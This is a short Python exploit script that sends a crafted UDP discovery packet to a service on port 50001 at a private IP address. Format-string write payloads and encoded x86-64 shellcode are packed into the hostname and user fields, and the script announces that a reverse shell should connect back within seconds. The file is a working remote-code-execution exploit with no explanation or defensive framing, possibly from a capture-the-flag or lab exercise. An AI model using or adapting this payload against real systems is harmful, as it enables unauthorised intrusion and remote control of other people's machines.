#encoding: utf-8
import struct
import socket
import sys

ip='192.168.174.182'
port=50001
def gen_discover_packet(ad_id,os,hn,user,inf,func):
	d =chr(0x3e)+chr(0xd1)+chr(0x1)
	d+=struct.pack('>I',ad_id)
	d+=struct.pack('>I',0)
	d+=chr(0x2)+chr(os)
	d+=struct.pack('>I',len(hn))+hn
	d+=struct.pack('>I',len(user))+user
	d+=struct.pack('>I',0)
	d+=struct.pack('>I',len(inf))+inf
	d+=chr(0)
	d+=struct.pack('>I',len(func))+func
	d+=chr(0x2)+chr(0xc3)+chr(0x51)
	return d

shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x61\x54\xde"
shellcode += b"\x9b\x31\x8b\x58\x3e\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x0b\x7d\x86\x02\x5b"
shellcode += b"\x89\x07\x54\x60\x0a\xd1\x9e\x79\x1c\x10\x87"
shellcode += b"\x63\x54\xc4\x91\xf1\x23\xf6\xbd\x30\x1c\x57"
shellcode += b"\x7d\x5b\x9b\x02\x54\x4b\x0c\xd1\x9e\x5b\x88"
shellcode += b"\x06\x76\x9e\x9a\xb4\xba\x69\x84\x5d\x4b\x97"
shellcode += b"\x3e\xe5\xc3\xa8\xc3\xe3\x11\x03\x3d\xb0\xb4"
shellcode += b"\x42\xe3\x58\x6d\x29\xdd\x39\xc9\x66\xc3\xd1"
shellcode += b"\xd8\x6e\x51\xde\x9b\x31\x8b\x58\x3e"

print('sending payload ...')
p=gen_discover_packet(4919 , 1 , '\x85\xfe%1$*1$x%18x%165$ln'+shellcode,'\x85\xfe%18472249x%93$ln','ad','main')
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(p,(ip,port))
s.close()
print('reverse shell should connect within 5 seconds')